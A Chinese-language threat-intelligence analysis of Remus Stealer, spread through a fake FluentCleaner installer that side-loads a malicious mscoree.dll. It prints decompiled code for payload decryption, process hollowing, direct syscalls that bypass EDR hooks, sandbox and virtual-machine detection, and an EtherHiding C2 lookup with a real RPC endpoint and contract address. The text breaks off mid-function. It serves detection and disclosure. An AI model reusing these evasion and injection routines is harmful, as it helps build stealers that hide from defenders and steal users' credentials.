仿冒 FluentCleaner 的 Remus Stealer:一场借“白加黑”上位的窃密攻击

概述

  近日瑞星威胁情报平台监测到一起针对知名开源Windows清理工具FluentCleaner的恶意攻击事件,攻击者仿冒其官方渠道(fluentcleaner.org)投放带毒安装包,以"白加黑"手法将恶意mscoree.dll与正规程序二次打包后通过网络传播。恶意mscoree.dll解密内嵌的Remus Stealer窃密木马并注入合法进程ServiceModelReg.exe中执行,而Remus Stealer自身具备多重反检测机制——通过沙箱DLL哈希比对、蜜罐文件与CPUID虚拟机特征检测规避分析环境,同时采用SSN直连syscall绕过EDR用户态Hook,经EtherHiding链上C2动态获取控制地址并下发命令,定向窃取浏览器凭据、Cookie、Steam/Roblox账号及C2指定文件后加密回传。

事件详情

  仿冒网站如下:

image

  下载页面如下:

image

攻击流程

image

样本分析

mscoree.dll分析

字段 内容
原始文件名 mscoree.dll
文件大小 3193 KB
文件MD5 6959d1a00c0dd4a2e6779be2049cfd30
文件类型 DLL
病毒名 Trojan.Kryptik/x64!1.143B8
主要功能 检测运行环境,解密内嵌Remus Stealer并注入ServiceModelReg.exe进程

  样本内的加密分为两层:底层是一个自定义流密码引擎,所有密文最终都由它解密。上层根据数据类型走不同入口——字符串类数据先经 Base64 解码再调用引擎,PE 和配置数据直接送入引擎。密钥全局共用,硬编码于文件内。

  密钥以 Base64 形式硬编码于文件偏移 0x1BBBAB:

SRi79IrixO5E8z5x4IJc42Px0sKe3BxGNEQQDgqtynZeq9Abv3RVAlq1QM1HTEQS

  Base64Key_LoadFromFile 解码得 48 字节,ReadQwordLE 逐 8 字节读为 6 个 uint64,随后 KeystreamBlock 以 CTR 模式生成密钥流与密文 XOR。

void *StreamCipher_Decrypt(__int64 encryptedData)
{
    dataSize = *(encryptedData + 8);

    // 6 个 uint64 密钥:
    //  0xEEC4E28AF4BB1849  0xE35C82E0713EF344  0x461CDC9EC2D2F163
    //  0x76CAAD0A0E104434  0x025574BF1BD0AB5E  0x12444C47CD40B55A
    keyStruct = Base64Key_LoadFromFile(&g_Base64KeyStructure);
    for (int i = 0; i < 6; i++)
        keys[i] = ReadQwordLE(keyStruct, i * 8);

    output = BufferAlloc(dataSize);
    keystreamBuf = BufferAlloc(16);

    blockIndex = 0;  streamPos = 16;
    for (int i = 0; i < dataSize; i++) {
        if (streamPos >= 16) {
            KeystreamBlock(keys, blockIndex++, keystreamBuf);
            streamPos = 0;
        }
        output[i] = encryptedData[i] ^ keystreamBuf[streamPos++];
    }
    return output;
}

  类 Threefish 结构的自定义流密码,12 轮。3 个 64 位状态字,每轮拆分 32 位半字做加法+XOR 混合,再经 ROL(7/45/37) 旋转后与密钥混合。常量 0x9E3779B97F4A7C15 为 Golden Ratio 共轭。

void KeystreamBlock(keys, counter, output_16bytes)
{
    state0 = keys[0] ^ counter;
    state1 = keys[1] ^ ~counter;
    state2 = keys[2] ^ (0x9E3779B97F4A7C15 * counter);

    for (round = 0; round < 12; round++) {
        s0_lo = (uint32)state0;  s0_hi = state0 >> 32;
        s1_lo = (uint32)state1;  s1_hi = state1 >> 32;
        s2_lo = (uint32)state2;  s2_hi = state2 >> 32;

        mixAB = (s1_lo + s2_hi) | ((s0_lo ^ s1_hi) << 32);
        mixBC = (s2_lo + s0_hi) | ((s1_lo ^ s2_hi) << 32);
        mixTemp = (s0_lo + s1_hi) | ((s0_hi ^ s2_lo) << 32);
        mixAC = mixTemp + mixAB;

        state0 = keys[(round+3)%6] ^ ROL64(mixAC, 7);
        state1 = keys[(round+4)%6] ^ ROL64(mixAB + mixBC, 45);
        state2 = keys[(round+5)%6] ^ ROL64(state0 + mixBC, 37);
    }

    WriteQwordLE(output, 0, keys[3] ^ state0 ^ state2);
    WriteQwordLE(output, 8, keys[4] ^ state1 ^ state0);
}

  StringResolver_Get 是字符串类数据的解密入口。输入为 CLR 托管资源结构体(encryptedResource[+8] 为长度,[+12] 为 Base64 密文),先调用 Base64Key_LoadFromFile 解码,再送入 StreamCipher_Decrypt 解密,最后经 PathProcessor 转为 UTF-16LE 字符串返回。

void *__fastcall StringResolver_Get(__int64 encryptedResource)
{
    if (!encryptedResource || !*(_DWORD *)(encryptedResource + 8))
        return &empty_string;

    clrContext = g_CLR_DecryptContext;
    decodedData = Base64Key_LoadFromFile(encryptedResource);
    decryptedData = StreamCipher_Decrypt(decodedData);
    return PathProcessor(clrContext, decryptedData);
}

  调用方通过 StringResolver_Get(&g_EncryptedPathResource) 解密注入路径,并与参考值比对决定是否使用替代路径:

injectionPath = StringResolver_Get(&g_EncryptedPathResource);
referencePath = StringResolver_Get(&g_EncryptedFrameworkRef);
if ( !ComparePaths(injectionPath, referencePath) )
    goto skip_alt;
injectionPath = GetAlternativePath();
skip_alt:

  以注入路径为例,加密资源 g_EncryptedPathResource 的实际内容及解密过程如下:

Base64 密文 (92 字符):
  uHDTpDaMHb3kaDmHUG1QzQxbP0zKFhDWrtLZtpgDcQ59ae
  WcbtECeAQU+x4emlvodoC32zaB3hSBNEF6eq5Uuy/6TQ==

  ↓ Base64 解码 → 67 字节密文 → StreamCipher_Decrypt →

解密结果:
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe

  PE 解密直接使用流密码引擎,无需 Base64 步骤:

__int64 PayloadReader_GetDecrypted(__int64 context, unsigned int *outSize)
{
    encryptedData = PayloadLoad_AllocAndCopy();         // 加载 222KB 密文 (文件偏移 0x151168)
    if (!encryptedData || !*(_DWORD *)(encryptedData + 8))
        return 0;

    decryptedData = StreamCipher_Decrypt(encryptedData);  // 直接解密, 无 Base64 步骤
    decryptedSize = *(decryptedData + 8);
    *outSize = decryptedSize;
    result = AllocCopy(decryptedSize);
    for (int i = 0; i < decryptedSize; i++)
        result[i] = *(decryptedData + i + 16);
    return result;
}

  注入流程通过 RetryWrapper (最多 7 次重试, 递增延迟) 调用 PEInjectEngine 完成。

__int64 RetryWrapper(_QWORD *callback, __int64 payloadPE, __int64 path)
{
    retryCount = 0;
    while (1)
    {
        if (retryCount > 0)
        {
            logBuilder = StringBuilder_Alloc(256);
            clrContext = g_CLR_DecryptContext;
            decodedInput = Base64Key_LoadFromFile(&g_RuntimeDecryptInput);
            decryptedData = StreamCipher_Decrypt(decodedInput);
            newPath = PathProcessor(clrContext, decryptedData);
            StringBuilder_Append(logBuilder, newPath);
            StringBuilder_AppendHex(logBuilder, retryCount);
            StringBuilder_Finalize(logBuilder);
            Sleep(100);
            Sleep(500 + 300 * retryCount);
        }

        if (PEInjectEngine(callback, payloadPE, path))
            return 1;
        if (++retryCount >= 7)
            return 0;
    }
}

  PEInjectEngine 通过回调结构体中的间接函数指针调用 API,导入表中无直接引用。

  CreateProcessW — 以挂起方式创建目标进程:

startupInfo.cb = 0x68;
memset(&startupInfo.lpReserved, 0, sizeof(STARTUPINFO) - 8);

pCreateProcess = (void *)callback[0x10];
CritSec_Enter(&lock);
result = pCreateProcess(
    path,                   // 解密后的注入路径
    NULL,                   // lpCommandLine
    NULL,                   // lpProcessAttributes
    NULL,                   // lpThreadAttributes
    FALSE,                  // bInheritHandles
    0x8000004,              // 以挂起方式创建, 不立即执行
    NULL,                   // lpEnvironment
    NULL,                   // lpCurrentDirectory
    &startupInfo,
    &processInfo            // 返回进程/线程句柄
);
CritSec_Leave(&lock);

  ZwQueryInformationProcess — 查询挂起进程 PEB,获取 ImageBaseAddress:

pZwQueryInfo = (void *)callback[0x18];
BYTE buffer[0x30] = {0};

pZwQueryInfo(
    hProcess,                    // 挂起进程句柄
    ProcessBasicInformation,     // 查询 PEB 基址信息
    buffer,                      // 输出缓冲区
    0x30,                        // 缓冲区大小
    NULL
);

  VirtualAllocEx — 在目标进程分配 RWX 内存:

pVirtualAlloc = (void *)callback[0x28];
CritSec_Enter(&lock);
allocatedBase = pVirtualAlloc(
    hProcess,                      // 目标进程句柄
    ImageBase,                     // 0x140000000 (Payload PE 要求的基址)
    SizeOfImage,                   // 0x3A000 (232KB)
    MEM_COMMIT | MEM_RESERVE,      // 提交物理页 + 保留虚拟地址
    PAGE_EXECUTE_READWRITE         // 可读可写可执行
);
CritSec_Leave(&lock);
if (!allocatedBase) {
    allocatedBase = pVirtualAlloc(hProcess, NULL, SizeOfImage, 0x3000, 0x40);
}

  WriteProcessMemory ×5 — 逐节区写入恶意 PE:

pWriteProcessMemory = (void *)callback[0x30];

for (int i = 0; i < 5; i++) {
    CritSec_Enter(&lock);
    pWriteProcessMemory(
        hProcess,           // 目标进程句柄
        section[i].base,    // 远程地址 (ImageBase + VirtualAddress)
        section[i].data,    // 本地数据 (PE 文件 + PointerToRawData)
        section[i].size,    // 写入大小 (SizeOfRawData)
        NULL
    );
    CritSec_Leave(&lock);
}
# lpBaseAddress nSize 写入内容
1 0x140000000 0x400 PE Headers
2 0x140001000 0x2D200 .text 节区
3 0x14002F000 0x2A00 .rdata 节区
4 0x140032000 0x5000 .data 节区
5 0x140038000 0x1400 .reloc 节区

Remus Stealer分析

字段 内容
文件大小 217 KB
文件MD5 61e1669ed9f2ab2a4b9662a67628b177
文件类型 EXE
主要功能 Remus Stealer:多重反分析(SSN syscall反调试、沙箱/虚拟机/蜜罐检测),EtherHiding链上C2,窃取浏览器凭据、Cookie、Steam/Roblox凭据、剪贴板及C2指定文件

AntiAnalysis_ModuleCheck — 反调试 SSN 检查

  g_pNtdllBase 是 ntdll.dll 的加载基址。传入后先构建 Hash→SSN 表,然后搜索哈希 0xD4C1B277(对应 NtSetInformationProcess)的 SSN,以 InfoClass=40 执行反调试 syscall。

char AntiAnalysis_ModuleCheck()
{
    char result;
    __int64 i;
    __int128 v3;

    // [1] 构建 SSN 表 — 遍历 ntdll 导出表,对每个 Nt* 函数提取 {hash, SSN}
    if (!SSNTable_BuildFromNtdll(g_pNtdllBase))
        return 0;  // PE 结构损坏 → 触发 ExitProcess(0)

    // [2] 在缓存中搜索 NtSetInformationProcess (hash = 0xD4C1B277)
    v3 = 0;
    if (g_APIHashCacheSize) {
        i = 0;
        while (*(DWORD *)(g_pAPIHashCache + i * 8) != 0xD4C1B277) { // hash = "NtSetInformationProcess"
            if (g_APIHashCacheSize == ++i)
                goto no_api_found;
        }
        // [3] 找到 → 读取 SSN → NtSetInformationProcess(GetCurrentProcess, 40, &v3, 16)
        Syscall_Dispatcher(
            *(DWORD *)(g_pAPIHashCache + i * 8 + 4),  // SSN = NtSetInformationProcess 的系统调用号
            4,                                         // argCount = 4
            -1,                                        // Handle = GetCurrentProcess()
            40,                                        // InfoClass = 0x28 (非标准反调试类)
            &v3,                                       // 输入缓冲区 16 字节 (全零)
            16                                         // 缓冲区大小
        );
        return 1;
    }

no_api_found:
    int v2 = 0;
    do { ++v2; } while (!v2);
    return 1;  // 未找到 → 默认通过
}

  验证 ntdll PE 结构完整后,从导出表读取 NumberOfNames,扩容全局缓存,最后调用回调遍历所有 Nt* 导出构建 {API哈希, SSN} 映射表。

__int64 SSNTable_BuildFromNtdll(unsigned __int16 *ntdll_base)
{
    // [1] 验证 MZ 签名 — 混淆比对 0x5A4D
    WORD mz = *(WORD *)ntdll_base;
    int counter = 0;
    int check = 0x1E4F75F3;
    do { check ^= 0x1E4F7593 * ++counter; } while (!counter);
    if (mz != check)  // check 恒为 0x5A4D
        return 0;

    // [2] e_lfanew → PE 签名 "PE\0\0"
    int e_lfanew = *(int *)((char *)ntdll_base + 0x3C);
    counter = 0;
    check = 0x3C86EF46;
    do {
        counter++;
        // MBA 混淆计算 → 最终恒为 0x4550 ("PE\0\0")
        check ^= (counter & 0x3C86EF46 ^ 0x3C86EF46)
               * (counter & 0xC37910B9)
               + (counter & 0x3C86EF46)
               * (counter | 0x3C86EF46);
    } while (!counter);
    if (*(DWORD *)((char *)ntdll_base + e_lfanew) != check)
        return 0;

    // [3] DataDirectory[0].VirtualAddress (偏移 0x88) → 导出表 RVA
    DWORD export_rva = *(DWORD *)((char *)ntdll_base + e_lfanew + 0x88);
    if (!export_rva) return 0;

    // [4] DataDirectory[0].Size (偏移 0x8C) → 导出表大小
    if (!*(DWORD *)((char *)ntdll_base + e_lfanew + 0x8C))
        return 0;

    // [5] ExportDirectory.NumberOfNames (偏移 0x18)
    DWORD name_count = *(DWORD *)((char *)ntdll_base + export_rva + 0x18);

    // [6] 扩容全局缓存: 每条 {hash:DWORD, SSN:DWORD} = 8 字节
    __int64 new_count = g_APIHashCacheSize + name_count;
    void *new_cache = Memory_Alloc(new_count * 8);
    if (g_pAPIHashCache) {
        Memory_MemCopy(new_cache, g_pAPIHashCache, g_APIHashCacheSize * 8);
        Memory_Free(g_pAPIHashCache);
    }
    g_pAPIHashCache = new_cache;

    // [7] 回调 → 遍历导出表构建 Hash→SSN 映射
    return g_pSSNTable_Populate(); 
}

  遍历 ntdll 导出表,对每个以 "Nt" 开头的导出计算 CRC32 哈希,再从函数入口处的机器码中提取系统调用号 (SSN),去重后存入 g_pAPIHashCache。这张表建成后,后续所有模块只需用哈希查表就能拿到 SSN,通过 Syscall_Dispatcher 直接执行 syscall,全程不经过 ntdll.dll,彻底绕过用户态 Hook(EDR/AV 的 IAT Hook、Inline Hook 全部失效)。

  SSN 提取原理:x64 上每个 ntdll syscall stub 开头都是两条固定指令——mov r10, rcx 接 mov eax, ,对应字节码 4C 8B D1 B8。搜到这个字节串后,紧跟的 4 字节就是 SSN。


__int64 g_pSSNTable_Populate()
{
    BYTE *ntdll_base = rsi;

    IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(ntdll_base + export_dir_rva);
    DWORD *name_rvas = (DWORD *)(ntdll_base + exp->AddressOfNames);
    WORD  *ordinals  = (WORD  *)(ntdll_base + exp->AddressOfNameOrdinals);
    DWORD *func_rvas = (DWORD *)(ntdll_base + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {

        // [1] 计算导出名 CRC32 哈希
        char  *name = (char *)(ntdll_base + name_rvas[i]);
        DWORD hash  = CRC32_Custom(name, 0x21A99E56);

        // [2] 仅处理 "Nt" 开头的导出
        if (*(WORD *)name != 0x744E)  // 0x744E = 'Nt' (LE)
            continue;

        // [3] 通过序号获取函数 VA
        WORD  ordinal  = ordinals[i];
        BYTE *func_va  = ntdll_base + func_rvas[ordinal];  // → 指向该Nt函数的实际机器码

        // [4] 在func_va的机器码中扫,找 4C 8B D1 B8 = "mov r10,rcx; mov eax,<SSN>"
        DWORD ssn = 0xFFFFFFFF;
        for (int off = 0; off < 0x20; off++) {
            if (func_va[off] == 0xC3) break;                     // 遇 ret → 停止
            if (*(DWORD *)&func_va[off] == 0xB8D18B4C) {        // 匹配特征码
                ssn = *(DWORD *)&func_va[off + 4];              // 后4字节=SSN
                break;
            }
        }
        if (ssn == 0xFFFFFFFF) continue;                        // 未找到 → 跳过

        // [5] 去重
        BOOL found = FALSE;
        for (DWORD j = 0; j < g_APIHashCacheSize; j++) {
            if (g_pAPIHashCache[j].hash == hash) { found = TRUE; break; }
        }
        if (found) continue;

        // [6] 存入缓存
        DWORD idx = g_APIHashCacheSize++;
        g_pAPIHashCache[idx].hash = hash;
        g_pAPIHashCache[idx].ssn  = ssn;
    }
    return 1;
}

  CRC32_Custom — 跟标准 CRC32 的唯一区别:初始值从 0xFFFFFFFF 换成了 ~0x21A99E56 = 0xDE5761A9。

// 与标准CRC32的唯一差异: 初始值换成了 ~seed
// 标准CRC32:   crc_init = 0xFFFFFFFF
// 此处变体:    crc_init = ~0x21A99E56 = 0xDE5761A9
DWORD CRC32_Custom(char *name, DWORD seed)
{
    DWORD crc = ~seed;

    if (*name == '\0')
        return seed;                           // 空串直接返回seed

    while (*name) {
        BYTE b = *name++;
        DWORD tmp = b ^ crc;
        for (int i = 0; i < 8; i++) {
            if (tmp & 1)
                tmp = (tmp >> 1) ^ 0xEDB88320;
            else
                tmp = tmp >> 1;
        }
        crc = tmp;
    }
    return ~crc;
}

  这个函数是整个样本反检测体系的核心——它让所有 API 调用都不经过 ntdll.dll,EDR/杀软在 ntdll 层布置的 Hook 全部作废。

  正常的 API 调用必须经过 ntdll:程序 → kernel32.dll → ntdll.dll → syscall → 内核。EDR 就是在 ntdll 这层动手脚——修改函数入口(Inline Hook)、替换 IAT 指向(IAT Hook)、或者拦截 syscall 返回。一旦被 Hook,恶意行为的每一步都被记录。

NTSTATUS Syscall_Dispatcher(DWORD SSN, DWORD argCount, QWORD p1, QWORD p2, QWORD p3, QWORD p4)
{
    QWORD syscall_number = SSN;      // 系统调用号
    QWORD syscall_arg1   = p1;       // 第1参
    QWORD syscall_arg2   = p2;       // 第2参
    QWORD syscall_arg3   = p3;       // 第3参
    QWORD syscall_arg4   = p4;       // 第4参

    // argCount > 4 → 超出部分从调用方栈拷到当前栈顶
    if (argCount > 4) {
        QWORD *src = (QWORD *)(rsp + 0x30);
        QWORD *dst = (QWORD *)(rsp + 0x20);
        for (DWORD i = 0; i < argCount - 4; i++)
            dst[i] = src[i];
    }

    __asm { syscall };  // 直通内核, 绕过ntdll所有Hook
}

AntiAnalysis_ModuleEnum_Thread — 沙箱 DLL 与蜜罐 PST 检测

  第一步遍历 PEB 模块链表,与内嵌的 18 个沙箱 DLL 白名单比对,命中(如 sbiedll.dll、snxhk.dll)→ ExitProcess。第二步只有全部未命中才执行——解密 honey@pot.com.pst 蜜罐文件名,创建线程遍历 %UserProfile%\Documents\Outlook Files\ 匹配同名文件,命中同样退出。

char AntiAnalysis_ModuleEnum_Thread()
{
    DWORD hashes[18];                              
    Memory_Copy(hashes, &g_sandboxDllHashes, 72);   // 18 个沙箱 DLL 模块哈希白名单

    QWORD peb = PEB_GetAddress();                  // __readgsqword → PEB

    int state = 0;
    for (int i = 0; i < 18; i++) {                  // 遍历 18 个白名单哈希
        QWORD *entry = *(QWORD *)(peb + 0x18) + 0x10;
        state = 4;                                   // 默认: 未找到
        for (QWORD *cur = *entry; cur != entry; cur = *(QWORD *)cur) {
            if (!cur[12]) continue;
            DWORD seed = Crypto_InitContext() ^ 0xAE42BCCC;
            if (ModuleName_Hash((WCHAR *)cur[12], seed) == hashes[i]) {
                state = 1;                           // 匹配到沙箱 DLL → 立即退出
                break;
            }
            state = 0;
        }
        if (state == 4) state = 0;                   // 未找到 → 继续下一个哈希
        if (state == 1) goto exit;                   // 任意白名单命中 → ExitProcess
    }

    // 18 个哈希全部未命中 → 进入蜜罐 PST 检测
    WORD buf[38];                                   // 76 字节
    Crypto_DecryptBuffer(buf);                     // 加载密文
    for (int m = 0; m < 38; m++)                    // XOR 解密: key = -12431 * m
        buf[m] ^= -12431 * m;

    QWORD derived_size;
    int checksum = Crypto_HashDerive(0, buf, 37, 0, 0, &derived_size);

    DWORD expected;
    Crypto_GetChecksum(&expected);
    expected ^= 0x6AB1B030;                        // MBA 混淆还原

    if (checksum != expected)
        return 0;                                  // 校验失败 → 退出

    WCHAR *path = Memory_Alloc(derived_size * 2);
    Crypto_HashDerive(0, buf, 37, path, derived_size, &derived_size);

    WORD short_hash[6];
    Crypto_GetShortHash(short_hash);
    for (int ii = 0; ii < 6; ii++)
        short_hash[ii] ^= 15283 * ii;

    // 创建线程遍历目录, 回调匹配 honey@pot.com.pst
    if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
        goto exit;                                   // 蜜罐命中 → ExitProcess

    return;                                          // 全部未命中 → 继续执行
}

  内嵌 18 个硬编码的 CRC32 哈希,对应已知沙箱/分析工具注入的 DLL:

DLL名称 DLL Name Hash 组件类型 关联软件/组件 备注
api_log.dll 0x48101B84 API监控组件 ThreatTrack沙箱 用于识别存在API行为记录或动态分析组件的环境
Unknown 0xE2F7FAD3 – – –
Unknown 0xA23DC8C3 – – –
avghookx.dll 0x7413D625 用户态Hook组件 AVG安全软件 AVG相关注入组件,用于识别安全软件监控环境
avghooka.dll 0x19E323D6 用户态Hook组件 AVG安全软件 AVG相关注入组件,用于识别安全软件监控环境
cmdvrt32.dll 0xEA330F69 虚拟化组件 Comodo安全软件 Comodo沙箱内加载的DLL
cmdvrt64.dll 0x35BE6B7A 虚拟化组件 Comodo安全软件 Comodo沙箱内加载的DLL
detours.dll 0xF8ECF22B API Hook框架 Microsoft Detours 通用API拦截框架,用于识别存在Hook或分析组件的环境
dir_watch.dll 0x3C479D15 文件监控组件 ThreatTrack沙箱 文件监控相关组件,与行为分析环境相关
npcap.dll 0x228E7355 网络抓包组件 Npcap 网络数据包捕获组件,用于识别网络分析工具环境
pstorec.dll 0x77E72FE2 – ThreatTrack沙箱 –
sbiedll.dll 0x4B777536 沙箱组件 Sandboxie Sandboxie核心组件,用于识别Sandboxie沙箱环境
snxhk.dll 0x43D6CA05 用户态Hook组件 Avast安全软件 Avast相关Hook组件,用于识别安全软件注入
vmcheck.dll 0x200178C7 虚拟环境检测组件 Hyper-V 虚拟机检测相关组件,用于识别虚拟化分析环境
windivert.dll 0xBF3AE5D4 网络过滤组件 WinDivert 网络流量拦截/处理组件,用于识别网络分析环境
winpcap.dll 0x8F5DF816 网络抓包组件 WinPcap 网络数据包捕获组件,用于识别抓包分析环境
wpcap.dll 0x22ED877F 网络抓包组件 WinPcap/Npcap兼容接口 网络抓包接口组件,用于识别网络分析工具
wpespy.dll 0x10393D8E 监控组件 WPE Pro 网络数据包嗅探和修改工具,用于识别网络分析工具

  算法同 CRC32_Custom,两个区别:1. 输入是 WIDE 字符串(UTF-16LE),按 WORD 而非逐字节;2. seed 不同——Crypto_InitContext ^ 0xAE42BCCC = 0xE585BD66。

DWORD ModuleName_Hash(WCHAR *name, DWORD seed)
{
    DWORD crc = ~seed;                             // 同 CRC32_Custom: init = ~seed

    if (*name == 0)                                // 空串直接返回 ~crc
        return ~crc;

    for (WCHAR *p = name; *p; p++) {
        DWORD tmp = crc ^ *p;                      // XOR 当前 WORD (区别于逐字节)
        for (int i = 0; i < 8; i++) {              // 8 轮 LFSR
            if (tmp & 1)
                tmp = (tmp >> 1) ^ 0xEDB88320;
            else
                tmp = tmp >> 1;
        }
        crc = tmp;
    }
    return ~crc;                                   // 最终取反
}

  加载 76 字节加密配置,XOR 解密后经两次 Crypto_HashDerive 生成遍历路径(%UserProfile%\Documents\Outlook Files\),DirTraverse_Callback 启动目录扫描,每个文件回调 Sandbox_CheckHoneypotPST 比对 honey@pot.com.pst。

// --- 蜜罐 PST 检测 ---
// 遍历 %UserProfile%\Documents\Outlook Files\,匹配 honey@pot.com.pst

// [1] 加载 5 个 xmmword  → XOR 解密
WORD buf[38];
Crypto_DecryptBuffer(buf);
for (int m = 0; m < 38; m++)
    buf[m] ^= -12431 * m;                            // 38 轮 WORD XOR

// [2] 首次派生: 计算校验和 + 获取路径长度
QWORD path_len;
int checksum = Crypto_HashDerive(0, buf, 37, NULL, 0, &path_len);

// [3] 校验和比对
int expected = Crypto_GetChecksum(&expected);        // → 0xAABB4453
expected ^= 0x6AB1B030;                              // → 0xC00AF463
if (checksum != expected)
    return;                                          // 校验失败 → 配置无效

// [4] 二次派生: 解密遍历路径 → %UserProfile%\Documents\Outlook Files\
WCHAR *path = Memory_Alloc(path_len * 2);
Crypto_HashDerive(0, buf, 37, path, path_len, &path_len);

// [5] 解密短哈希 (12 字节常量)
WORD short_hash[6];
Crypto_GetShortHash(short_hash);
for (int i = 0; i < 6; i++)
    short_hash[i] ^= 15283 * i;

// [6] 遍历目录 → 每个文件回调 Sandbox_CheckHoneypotPST
if (DirTraverse_Callback(path, short_hash, Sandbox_CheckHoneypotPST, 0))
    goto exit;                                       // 蜜罐命中
Memory_Free(path);

  Sandbox_CheckHoneypotPST — 解密 honey@pot.com.pst,与目录中每个文件名比对:

char Sandbox_CheckHoneypotPST(WCHAR *filename)
{
    WORD enc[18];                                    // 内嵌密文 
    Memory_Copy(enc, &g_EncHoneypotPST, 36);
    for (int i = 0; i < 18; i++)
        enc[i] ^= -3632 * (i + 1);                  // 18 轮 XOR → L"honey@pot.com.pst"

    if (wcscmp(filename, (WCHAR *)enc) == 0)         // 匹配 → 沙箱
        goto exit;
    return;
}

AntiAnalysis_Flattened — 加壳检测与 NtRaiseHardError 弹窗

  遍历 g_pAPIHashCache 搜索哈希 0xA7C29068(NtRaiseHardError,SSN=0x169)。命中 → 样本没加壳裸奔 → 弹窗警告;未命中 → 已加壳 → 跳过弹窗。

for (QWORD i = 0; i < g_APIHashCacheSize; i++) {
    if (g_pAPIHashCache[i].hash == 0xA7C29068) {       // NtRaiseHardError 已被解析

        Syscall_Dispatcher(
            g_pAPIHashCache[i].ssn,   // SSN = 0x169 = NtRaiseHardError
            6,                         // argCount = 6
            &error_status,             // ErrorStatus
            0,                         // ResponseOption = AbortRetryIgnore
            &params,                   // Parameters[3]
            3,                         // NumberOfParameters
            0, 0                       // 栈上补齐
        );
        break;                                          // 弹窗后卡死/退出
    }
}

  弹窗如下:

image

  直接插入 INT3(0xCC)指令。调试器附加时 INT3 被捕获可检测;无调试器时走 SEH 正常继续。

140026D7B  int  3                  ; OLLVM 35 状态中的一个 case: __debugbreak()

  通过查询 CPU 信息判断当前是否运行在虚拟机中,一旦发现 KVM、QEMU、VMware、VirtualBox、Xen 等常见虚拟机的痕迹就判定为被分析。

bool CPuID_CheckVM()
{
    // 第一次 cpuid: leaf 1,检查 hypervisor 存在位
    int eax = 0x5ABE68F4 ^ 0x5ABE68F5;               // → 0x1 (CPUID leaf 1)
    __cpuid(&cpu_info, eax);
    if (cpu_info.ecx & 0x80000000)                     // CPUID.1:ECX 位31 = hypervisor present
        return 1;

    // 第二次 cpuid: leaf 0x40000000,查询 hypervisor 厂商签名
    eax = 0x38F5E2A8 ^ 0x78F5E2A8;                     // → 0x40000000
    __cpuid(&cpu_info, eax);

    DWORD sig = cpu_info.ecx;                          // ECX = 签名中间 4 字节

    // 逐一比对 5 个运行时拼出的签名(解码常量 ^ 掩码 = 明文签名)
    if (sig == 0x4166110F ^ 0x172D5C59) return 1;  // 0x564B4D56 "VMKV" → KVM (KVMKVMKVM)
    if (sig == 0x7630914B ^ 0x3564D608) return 1;  // 0x43544743 "CGTC" → QEMU (TCGTCGTCGTCG)
    if (sig == 0x1ECA2AC9 ^ 0x539C4FBB) return 1;  // 0x4D567265 "reVM" → VMware (VMwareVMware)
    if (sig == 0x09BC8B3C ^ 0x71D3C96A) return 1;  // 0x786F4256 "VBox" → VirtualBox (VBoxVBoxVBox)
    if (sig == 0x75530E56 ^ 0x100B431B) return 1;  // 0x65584D4D "MMXe" → Xen (XenVMMXenVMM)

    return 0;
}

  绕开系统 API、直接读取进程自身的运行信息,供上层反分析流程校验进程状态是否正常。

QWORD SysHandle_Query(QWORD mode)
{
    QWORD peb = __readgsqword(0x60);   // GS 段直接读 PEB,绕过 API/Hook

    if (mode == 0)                                     // ← 实际执行的路径 (两处调用都传 0)
        return *(QWORD *)(peb + 0x20) + 0x60;          // PEB->ProcessParameters + 0x60
                                                       // = ImagePathName.Buffer 字段地址

    QWORD ldr   = *(QWORD *)(peb + 0x18);              // PEB->Ldr
    QWORD head  = ldr + 0x10;                          // InLoadOrderModuleList 头
    QWORD flink = *(QWORD *)(ldr + 0x10);              // 第一个模块的 Flink
    if (flink != head) { /* 继续走第二模块 DllBase 比对… */ }
    return 0;
}

  算法同 CRC32_Custom,对一段数据算校验值。调用方用它校验样本自身内嵌的数据是否被改动——数据一旦被修改,校验值即与期望值不符,判定为被分析。

DWORD SysInfo_Check(BYTE *data, QWORD size, DWORD seed)
{
    DWORD crc = ~seed;
    for (QWORD i = 0; i < size; i++) {
        BYTE b = data[i];
        DWORD tmp = crc ^ b;
        for (int j = 0; j < 8; j++)
            tmp = (tmp >> 1) ^ ((tmp & 1) ? 0xEDB88320 : 0);
        crc = tmp;
    }
    return ~crc;
}

Config_Init — 全局加密状态初始化

  Config_Init 负责初始化全局 ChaCha20 加密状态 g_pConfig(0x140036F28)。该状态由 ChaCha20_InitState 以硬编码静态密钥 + 静态 nonce 构建(64 字节 = 常量块 "expand 32-byte k" + 32 字节密钥 + 8 字节 nonce,计数器置零):

char Config_Init()
{
    ChaCha20_InitState(&g_pConfig,
                       &g_chacha20_static_key,     // 04DBF4945C17C08684215D929A8A26BCB030176FEA927EC9B8F0DB05EC8C6B6F
                       &g_chacha20_static_nonce,   // B2FBAC07FD9F40E6
                       0LL);                        // 64 位块计数器 = 0
    return 1; 
}

EtherHiding_ResolveC2 — 以太坊链上 C2 地址解析

  该函数是样本 EtherHiding(链上 C2 隐藏)技术的核心——C2 地址不写死在样本内,而是加密存储在以太坊智能合约中,运行时通过公共 RPC 节点查询 eth_call 动态获取。C2 地址由攻击者链上更新,样本每次启动拉取最新值,实现 C2 基础设施的动态轮换与抗封禁。

  EtherHiding 的整个 HTTP 请求全部由运行时混淆解密生成,样本内不落地任何明文。函数在 WinHTTP 分支(g_eh_state 状态判定)依次还原 5 个数据块,组合为一次完整的 eth_call 查询:目标为公共以太坊 RPC 节点 https://ethereum-rpc.publicnode.com,以 POST + Content-Type: application/json 发送 JSON-RPC 请求体,向合约 0x999941b74F6bbc921D5174A5b29911562cd2D7CF 调用函数选择器 0xc2fb26a6 查询 C2 地址;响应解析时再解密 result 字段名定位结果。

// EtherHiding_ResolveC2 加密数据解密

// [1] RPC 端点 → L"https://ethereum-rpc.publicnode.com"
WORD rpc_url[36];
memcpy(rpc_url, (void*)0x14002FF4A, 72);
for (int i = 0; i < 36; i++) {
    WORD key = (11116 * (i + 1)) & 0xFFFF;
    rpc_url[i] = rpc_url[i] - key - 2 * (rpc_url[i] & ((-key) & 0xFFFF));
}

// [2] Content-Type 头 → L"Content-Type: application/json"
WORD content_type[31];
memcpy(content_type, (void*)0x14002FE78, 62);
for (int i = 0; i < 31; i++)
    content_type[i] ^= (WORD)(26708 * (i + 1));

